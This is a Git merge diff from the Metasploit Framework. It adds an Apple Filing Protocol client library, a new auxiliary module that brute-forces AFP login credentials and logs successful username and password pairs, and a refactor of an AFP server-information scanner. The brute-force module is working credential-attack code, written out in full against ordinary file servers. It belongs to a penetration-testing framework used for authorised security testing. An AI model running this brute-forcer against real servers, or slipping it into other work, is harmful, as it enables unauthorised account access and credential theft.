Merge branch 'afp' of https://github.com/gregory-m/metasploit-framework into gregory-m-afp
commit
50d2796899
|
@ -0,0 +1,323 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
module Exploit::Remote::AFP
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
@id = 1
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(548)
|
||||
], Msf::Exploit::Remote::AFP)
|
||||
end
|
||||
|
||||
def get_info
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x03" # Command: FPGetSrvrInfo
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" #Data offset
|
||||
packet << "\x00\x00\x00\x00" #Length
|
||||
packet << "\x00\x00\x00\x00" #Reserved
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
|
||||
response = sock.timed_read(1024)
|
||||
return parse_info_response(response)
|
||||
end
|
||||
|
||||
def open_session
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x04" # Command: DSIOpenSession
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" #Data offset
|
||||
packet << "\x00\x00\x00\x06" #Length
|
||||
packet << "\x00\x00\x00\x00" #Reserved
|
||||
packet << "\x01" # Attention Quantum
|
||||
packet << "\x04" # Length
|
||||
packet << "\x00\x00\x04\x00" # 1024
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
|
||||
response = sock.timed_read(1024)
|
||||
return parse_open_session_response(response)
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
if user == ''
|
||||
return no_user_authent_login
|
||||
end
|
||||
|
||||
p = OpenSSL::BN.new("BA2873DFB06057D43F2024744CEEE75B", 16)
|
||||
g = OpenSSL::BN.new("7", 10)
|
||||
ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16)
|
||||
ma = g.mod_exp(ra, p)
|
||||
|
||||
padded_user = (user.length + 1) % 2 != 0 ? user + "\x00" : user
|
||||
bin_user = [padded_user.length, padded_user].pack("Ca*")
|
||||
|
||||
length = 18 + bin_user.length + ma.to_s(2).length
|
||||
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << [length].pack('N') # Length (42)
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x12" # AFPCommand: FPLogin (18)
|
||||
packet << "\x06\x41\x46\x50\x33\x2e\x31" # AFPVersion: AFP3.1
|
||||
packet << "\x09\x44\x48\x43\x41\x53\x54\x31\x32\x38" #UAM: DHCAST128
|
||||
packet << bin_user # username
|
||||
packet << ma.to_s(2) # random number
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
|
||||
begin
|
||||
start = Time.now
|
||||
response = sock.timed_read(1024, datastore['LoginTimeOut'])
|
||||
rescue Timeout::Error
|
||||
vprint_error("Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
||||
case error_code
|
||||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
print_status("User #{user} dosen't exists")
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def close_session
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x01" # Command: DSICloseSession
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" #Data offset
|
||||
packet << "\x00\x00\x00\x00" #Length
|
||||
packet << "\x00\x00\x00\x00" #Reserved
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
end
|
||||
|
||||
def no_user_authent_login
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << "\x00\x00\x00\x18" # Length (24)
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x12" # AFPCommand: FPLogin (18)
|
||||
packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1
|
||||
packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
|
||||
begin
|
||||
response = sock.timed_read(1024, datastore['LoginTimeOut'])
|
||||
rescue Timeout::Error
|
||||
vprint_error("Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
||||
if error_code == 0
|
||||
return :true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def parse_login_response_add_send_login_count(response, data)
|
||||
dhx_s2civ = 'CJalbert'
|
||||
dhx_c2civ = 'LWallace'
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
body = get_body(response, length)
|
||||
id, mb, enc_data = body.unpack("nH32a*")
|
||||
|
||||
mb = OpenSSL::BN.new(mb, 16)
|
||||
k = mb.mod_exp(data[:ra], data[:p] )
|
||||
|
||||
cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt
|
||||
cipher.key = k.to_s(2)
|
||||
cipher.iv = dhx_s2civ
|
||||
cipher.padding = 0
|
||||
|
||||
nonce = cipher.update(enc_data)
|
||||
nonce << cipher.final
|
||||
nonce = nonce[0..15]
|
||||
nonce = OpenSSL::BN.new(nonce, 2) + 1
|
||||
|
||||
plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00")
|
||||
cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt
|
||||
cipher.key = k.to_s(2)
|
||||
cipher.iv = dhx_c2civ
|
||||
auth_response = cipher.update(plain_text)
|
||||
auth_response << cipher.final
|
||||
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x02" # Command: DSICommand
|
||||
packet << [@id].pack('n') # requestID
|
||||
packet << "\x00\x00\x00\x00" # Data offset
|
||||
packet << [auth_response.length + 2].pack("N") # Length
|
||||
packet << "\x00\x00\x00\x00" # Reserved
|
||||
packet << "\x13" # AFPCommand: FPLoginCont (19)
|
||||
packet << "\x00"
|
||||
packet << [id].pack('n')
|
||||
packet << auth_response
|
||||
|
||||
sock.put(packet)
|
||||
@id += 1
|
||||
|
||||
begin
|
||||
response = sock.timed_read(1024, datastore['LoginTimeOut'])
|
||||
rescue Timeout::Error
|
||||
vprint_error("Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
if error_code == 0
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def parse_open_session_response(response)
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
return error_code == 0 ? true : false
|
||||
end
|
||||
|
||||
def parse_info_response(response)
|
||||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
||||
server_name_length = body.unpack('@10C').first
|
||||
parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first
|
||||
|
||||
pos = 11 + server_name_length
|
||||
pos += 1 if pos % 2 != 0 #padding
|
||||
|
||||
server_signature_offset, network_addresses_offset, directory_names_offset,
|
||||
utf8_servername_offset = body.unpack("@#{pos}nnnn")
|
||||
|
||||
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
||||
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
||||
parsed_data[:uams] = read_array(body, uam_count_offset)
|
||||
# skiped icon
|
||||
parsed_data[:server_flags] = parse_flags(server_flags)
|
||||
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
||||
|
||||
network_addresses = read_array(body, network_addresses_offset, true)
|
||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||
# skiped directory names
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
|
||||
return parsed_data
|
||||
end
|
||||
|
||||
def parse_header(packet)
|
||||
header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order
|
||||
header[3] = packet[4..7].reverse.unpack("l").first
|
||||
return header
|
||||
end
|
||||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
def read_pascal_string(str, offset)
|
||||
length = str.unpack("@#{offset}C").first
|
||||
return str.unpack("@#{offset + 1}A#{length}").first
|
||||
end
|
||||
|
||||
def read_utf8_pascal_string(str, offset)
|
||||
length = str.unpack("@#{offset}n").first
|
||||
return str[offset + 2..offset + length + 1]
|
||||
end
|
||||
|
||||
def read_array(str, offset, afp_network_address=false)
|
||||
size = str.unpack("@#{offset}C").first
|
||||
pos = offset + 1
|
||||
|
||||
result = []
|
||||
size.times do
|
||||
result << read_pascal_string(str, pos)
|
||||
pos += str.unpack("@#{pos}C").first
|
||||
pos += 1 unless afp_network_address
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
def parse_network_addresses(network_addresses)
|
||||
parsed_addreses = []
|
||||
network_addresses.each do |address|
|
||||
case address.unpack('C').first
|
||||
when 0 #Reserved
|
||||
next
|
||||
when 1 # Four-byte IP address
|
||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 1]
|
||||
when 5 # This functionality is deprecated.
|
||||
next
|
||||
when 6 # IPv6 address (16 bytes)
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]"
|
||||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error pasing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
end
|
||||
|
||||
def parse_flags(flags)
|
||||
flags = flags.to_s(2)
|
||||
result = {}
|
||||
result['Super Client'] = flags[0,1] == '1' ? true : false
|
||||
result['UUIDs'] = flags[5,1] == '1' ? true : false
|
||||
result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false
|
||||
result['Open Directory'] = flags[7,1] == '1' ? true : false
|
||||
result['Reconnect'] = flags[8,1] == '1' ? true : false
|
||||
result['Server Notifications'] = flags[9,1] == '1' ? true : false
|
||||
result['TCP/IP'] = flags[10,1] == '1' ? true : false
|
||||
result['Server Signature'] = flags[11,1] == '1' ? true : false
|
||||
result['Server Messages'] = flags[12,1] == '1' ? true : false
|
||||
result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false
|
||||
result['Password Changing'] = flags[14,1] == '1' ? true : false
|
||||
result['Copy File'] = flags[5,1] == '1' ? true : false
|
||||
return result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -56,6 +56,7 @@ require 'msf/core/exploit/postgres'
|
|||
require 'msf/core/exploit/vim_soap'
|
||||
require 'msf/core/exploit/wdbrpc'
|
||||
require 'msf/core/exploit/wdbrpc_client'
|
||||
require 'msf/core/exploit/afp'
|
||||
|
||||
|
||||
# Telephony
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'openssl'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Exploit::Remote::AFP
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apple Filing Protocol Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to brute force authentication credentials for AFP.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://developer.apple.com/library/mac/#documentation/Networking/Reference/AFP_Reference/Reference/reference.html' ],
|
||||
[ 'URL', 'https://developer.apple.com/library/mac/#documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html' ]
|
||||
|
||||
],
|
||||
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
deregister_options('RHOST')
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('LoginTimeOut', [ true, "Timout on login", 23 ]),
|
||||
OptBool.new('RECORD_GUEST', [ false, "Record guest login to the database", false]),
|
||||
OptBool.new('CHECK_GUEST', [ false, "Check for guest login", true])
|
||||
], self)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("Scanning IP: #{ip.to_s}")
|
||||
begin
|
||||
|
||||
connect
|
||||
info = get_info # get_info drops connection
|
||||
raise "Unsupported AFP version" unless info[:uams].include?("DHCAST128")
|
||||
|
||||
if datastore['CHECK_GUEST'] && info[:uams].include?("No User Authent")
|
||||
connect
|
||||
open_session
|
||||
do_guest_login
|
||||
close_session
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
if user == ''
|
||||
return :skip_user # check guest login once per host
|
||||
end
|
||||
|
||||
vprint_status("Trying to login as '#{user}' with password '#{pass}'")
|
||||
connect
|
||||
open_session
|
||||
status = do_login(user, pass)
|
||||
close_session # close_session drops connection
|
||||
|
||||
status
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
raise $!
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT
|
||||
rescue ::Exception
|
||||
print_error("#{rhost}:#{rport} #{$!.class} #{$!}")
|
||||
ensure
|
||||
close_session if sock
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
status = login(user, pass)
|
||||
|
||||
if status == true
|
||||
status = :next_user
|
||||
print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'afp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => 'user_supplied',
|
||||
:active => true
|
||||
})
|
||||
end
|
||||
return status
|
||||
end
|
||||
|
||||
def do_guest_login
|
||||
status = login('', '')
|
||||
if status
|
||||
status = :next_user
|
||||
print_good("#{rhost} Supports Guest logins")
|
||||
|
||||
if datastore['RECORD_GUEST']
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'atp',
|
||||
:user => '',
|
||||
:pass => '',
|
||||
:type => "Guest Login",
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
end
|
||||
return status
|
||||
end
|
||||
end
|
|
@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::AFP
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -29,11 +29,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(548)
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
@ -41,174 +36,47 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Scanning IP: #{ip.to_s}")
|
||||
begin
|
||||
connect
|
||||
get_server_info
|
||||
response = get_info
|
||||
report(response)
|
||||
rescue ::Timeout::Error
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
print_error("#{rhost}:#{rport} #{$!.class} #{$!}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def get_server_info
|
||||
packet = "\00" # Flag: Request
|
||||
packet << "\x03" # Command: FPGetSrvrInfo
|
||||
packet << "\x01\x03" # requestID
|
||||
packet << "\x00\x00\x00\x00" #Data offset
|
||||
packet << "\x00\x00\x00\x00" #Length
|
||||
packet << "\x00\x00\x00\x00" #Reserved
|
||||
|
||||
sock.put(packet)
|
||||
response = sock.timed_read(1024)
|
||||
parse_response(response)
|
||||
end
|
||||
|
||||
def parse_response(response)
|
||||
flags = response[0]
|
||||
command = response[1]
|
||||
request_id = response[2..3]
|
||||
error_code = response[4..7]
|
||||
length = response[8..11]
|
||||
reserved = response[12..15]
|
||||
|
||||
body = response[16..length.unpack('N').first + 15]
|
||||
raise "Invalid packet length" if body.length != length.unpack('N').first
|
||||
|
||||
machine_type_offset = body[0..1]
|
||||
version_count_offset = body[2..3]
|
||||
uam_count_offset = body[4..5]
|
||||
icon_offset = body[6..7]
|
||||
flags = body[8..9]
|
||||
|
||||
server_name_length = body[10]
|
||||
server_name_length = server_name_length.unpack("C").first if server_name_length.is_a?(String)
|
||||
server_name = read_pascal_string(body, 10)
|
||||
|
||||
pos = 10 + server_name_length + 1
|
||||
pos += 1 if pos % 2 != 0 #padding
|
||||
|
||||
server_signature_offset = body[pos..pos + 1]
|
||||
network_addresses_count_offset = body[pos + 2..pos + 3]
|
||||
directory_names_count_offset = body[pos + 4..pos + 5]
|
||||
utf8_server_name_offset = body[pos + 6..pos + 7]
|
||||
|
||||
machine_type = read_pascal_string(body, machine_type_offset)
|
||||
versions = read_array(body, version_count_offset)
|
||||
uams = read_array(body, uam_count_offset)
|
||||
|
||||
num_signature_offset = server_signature_offset.unpack('n').first
|
||||
server_signature = body[num_signature_offset..num_signature_offset + 15]
|
||||
directories = read_array(body, directory_names_count_offset)
|
||||
utf8_server_name = read_utf8_pascal_string(body, utf8_server_name_offset)
|
||||
|
||||
parsed_flags = parse_flags(flags)
|
||||
network_addresses = read_array(body, network_addresses_count_offset, true)
|
||||
parsed_network_addresses = parse_network_addresses(network_addresses)
|
||||
|
||||
#report
|
||||
report_info = "Server Flags: 0x#{flags.unpack('H*').first}\n" +
|
||||
format_flags_report(parsed_flags) +
|
||||
" Server Name: #{server_name} \n" +
|
||||
" Machine Type: #{machine_type} \n" +
|
||||
" AFP Versions: #{versions.join(', ')} \n" +
|
||||
" UAMs: #{uams.join(', ')}\n" +
|
||||
" Server Signature: #{server_signature.unpack("H*").first.to_s}\n" +
|
||||
def report(response)
|
||||
report_info = "Server Name: #{response[:server_name]} \n" +
|
||||
" Server Flags: \n" +
|
||||
format_flags_report(response[:server_flags]) +
|
||||
" Machine Type: #{response[:machine_type]} \n" +
|
||||
" AFP Versions: #{response[:versions].join(', ')} \n" +
|
||||
" UAMs: #{response[:uams].join(', ')}\n" +
|
||||
" Server Signature: #{response[:signature]}\n" +
|
||||
" Server Network Address: \n" +
|
||||
format_addresses_report(parsed_network_addresses) +
|
||||
" UTF8 Server Name: #{utf8_server_name}"
|
||||
|
||||
format_addresses_report(response[:network_addresses]) +
|
||||
" UTF8 Server Name: #{response[:utf8_server_name]}"
|
||||
print_status("#{rhost}:#{rport} APF:\n #{report_info}")
|
||||
|
||||
report_note(:host => datastore['RHOST'],
|
||||
:proto => 'TCP',
|
||||
:proto => 'tcp',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'afp_server_info',
|
||||
:data => {
|
||||
:server_name => Iconv.conv("UTF-8//IGNORE", "US-ASCII", server_name),
|
||||
:flags => { :raw => "0x#{flags.unpack('H*').first}", :parsed => parsed_flags },
|
||||
:machine_type => machine_type,
|
||||
:afp_versions => versions,
|
||||
:uams => uams,
|
||||
:server_signature => server_signature.unpack("H*").first.to_s,
|
||||
:network_addresses => parsed_network_addresses,
|
||||
:utf8_server_name => utf8_server_name
|
||||
})
|
||||
end
|
||||
:data => response)
|
||||
|
||||
def parse_network_addresses(network_addresses)
|
||||
parsed_addreses = []
|
||||
network_addresses.each do |address|
|
||||
case address[0].is_a?(String) ? address[0].unpack('C').first : address[0]
|
||||
when 0 #Reserved
|
||||
next
|
||||
when 1 # Four-byte IP address
|
||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 2]
|
||||
when 5 # This functionality is deprecated.
|
||||
next
|
||||
when 6 # IPv6 address (16 bytes)
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]"
|
||||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error pasing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
end
|
||||
report_service(
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:name => "afp",
|
||||
:info => "AFP name: #{response[:utf8_server_name]}, Versions: #{response[:versions].join(', ')}"
|
||||
)
|
||||
|
||||
def parse_flags(flags)
|
||||
flags = flags.unpack("n").first.to_s(2)
|
||||
result = {}
|
||||
result['Super Client'] = flags[0,1] == '1' ? true : false
|
||||
result['UUIDs'] = flags[5,1] == '1' ? true : false
|
||||
result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false
|
||||
result['Open Directory'] = flags[7,1] == '1' ? true : false
|
||||
result['Reconnect'] = flags[8,1] == '1' ? true : false
|
||||
result['Server Notifications'] = flags[9,1] == '1' ? true : false
|
||||
result['TCP/IP'] = flags[10,1] == '1' ? true : false
|
||||
result['Server Signature'] = flags[11,1] == '1' ? true : false
|
||||
result['Server Messages'] = flags[12,1] == '1' ? true : false
|
||||
result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false
|
||||
result['Password Changing'] = flags[14,1] == '1' ? true : false
|
||||
result['Copy File'] = flags[5,1] == '1' ? true : false
|
||||
return result
|
||||
end
|
||||
|
||||
def read_utf8_pascal_string(str, offset)
|
||||
offset = offset.unpack("n").first if offset.is_a?(String)
|
||||
length = str[offset..offset+1].unpack("n").first
|
||||
return str[offset + 2..offset + length + 1]
|
||||
end
|
||||
|
||||
def read_pascal_string(str, offset)
|
||||
offset = offset.unpack("n").first if offset.is_a?(String)
|
||||
length = str[offset]
|
||||
length = length.unpack("C").first if length.is_a?(String)
|
||||
return str[offset + 1..offset + length]
|
||||
end
|
||||
|
||||
def read_array(str, offset, afp_network_address=false)
|
||||
|
||||
offset = offset.unpack("n").first if offset.is_a?(String)
|
||||
size = str[offset]
|
||||
size = size.unpack("C").first if size.is_a?(String)
|
||||
pos = offset + 1
|
||||
|
||||
result = []
|
||||
size.times do
|
||||
result << read_pascal_string(str, pos)
|
||||
pos += str[pos].is_a?(String) ? str[pos].unpack('C').first : str[pos]
|
||||
pos += 1 unless afp_network_address
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
def format_flags_report(parsed_flags)
|
||||
|
|
Loading…
Reference in New Issue